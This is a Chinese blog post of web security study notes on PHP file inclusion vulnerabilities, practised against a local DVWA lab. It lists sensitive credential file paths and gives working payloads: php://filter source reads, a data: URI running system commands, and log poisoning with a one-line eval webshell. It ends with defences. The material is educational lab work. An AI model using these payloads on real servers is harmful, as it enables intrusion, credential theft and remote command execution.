Web安全测试学习笔记 - 文件包含

基础知识

文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式。有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文件包含可以将引用的文件名作为参数传递。php的文件包含举例:

 

 利用原理

引用文件名作为传入参数暴露出来时,用户可传入任意文件名/恶意代码,且程序本身没有进行严格校验/过滤时,便会形成文件包含漏洞。其危害在于:

1. 泄露服务器敏感数据

2. 恶意代码注入(可能导致被getshell)

 

利用方式

用DVWA的文件包含(PHP+Aapche)举例,首先在php.ini中配置allow_url_fopen = On,allow_url_include = On。

此处通过参数page包含文件

1. 获取源码

   输入:http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

   得到base64编码后的源码:

   

   解码后得到index源码:

   

2. 读取服务器敏感文件

   常用的系统敏感文件如下:

   Windows系统

  • c:\boot.ini // 查看系统版本
  • c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  • c:\windows\repair\sam // 存储Windows系统初次安装的密码
  • c:\ProgramFiles\mysql\my.ini // MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
  • c:\windows\php.ini // php 配置信息

   Linux/Unix系统

  • /etc/passwd // 账户信息
  • /etc/shadow // 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
  • /usr/local/app/php5/lib/php.ini // PHP相关配置
  • /etc/httpd/conf/httpd.conf // Apache配置文件
  • /etc/my.conf // mysql 配置文件

   输入:

    http://localhost/dvwa/vulnerabilities/fi/?page=C:/Windows/system.ini 

    

 3. 执行操作系统命令

   输入:  http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php system('whoami');?>

   

4. 利用日志注入恶意代码

  首先通过访问phpinfo找到错误日志的存放路径:

  输入:http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>  

    

   用错误日志注入的思路是:

    -》输入带有注入代码且能引发错误的语句

    -》错误日志记录本次的输入(恶意代码注入错误日志)

    -》通过文件包含漏洞访问错误日志,恶意代码被执行

   输入php一句话木马:http://localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['cmd']);?>

   但是打开错误日志发现尖括号被转义了(抓包改也没用,依然被转义)。。。被转义之后注入代码无法执行,利用错误日志注入的路行不通了...>_<...

    

   换访问日志再试一次(思路是一样的),访问日志尖括号会被编码,抓包改一下之后发现成功写入,一句话木马上传成功。

   

   5. 结合文件上传漏洞

   之前写图片上传的时候曾传过一个图片马(y.png)到服务器(https://www.cnblogs.com/sallyzhang/p/11906217.html),如果存在文件包含漏洞,可直接访问该图片马并执行图片马中的代码。

   输入:http://localhost/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/y.png    

   

 

防御方法

1. 使用PHP时配置php.ini:allow_url_fopen = off,allow_url_include = off

2. 对动态包含的文件可以设置白名单,不读取非白名单的文件

3. 尽量不使用动态包含(或者写死)

 

 

如需转载,请注明出处,这是对他人劳动成果的尊重~

posted @ 2020-01-21 14:05  Sally_Zhang  阅读(854)  评论(0编辑  收藏  举报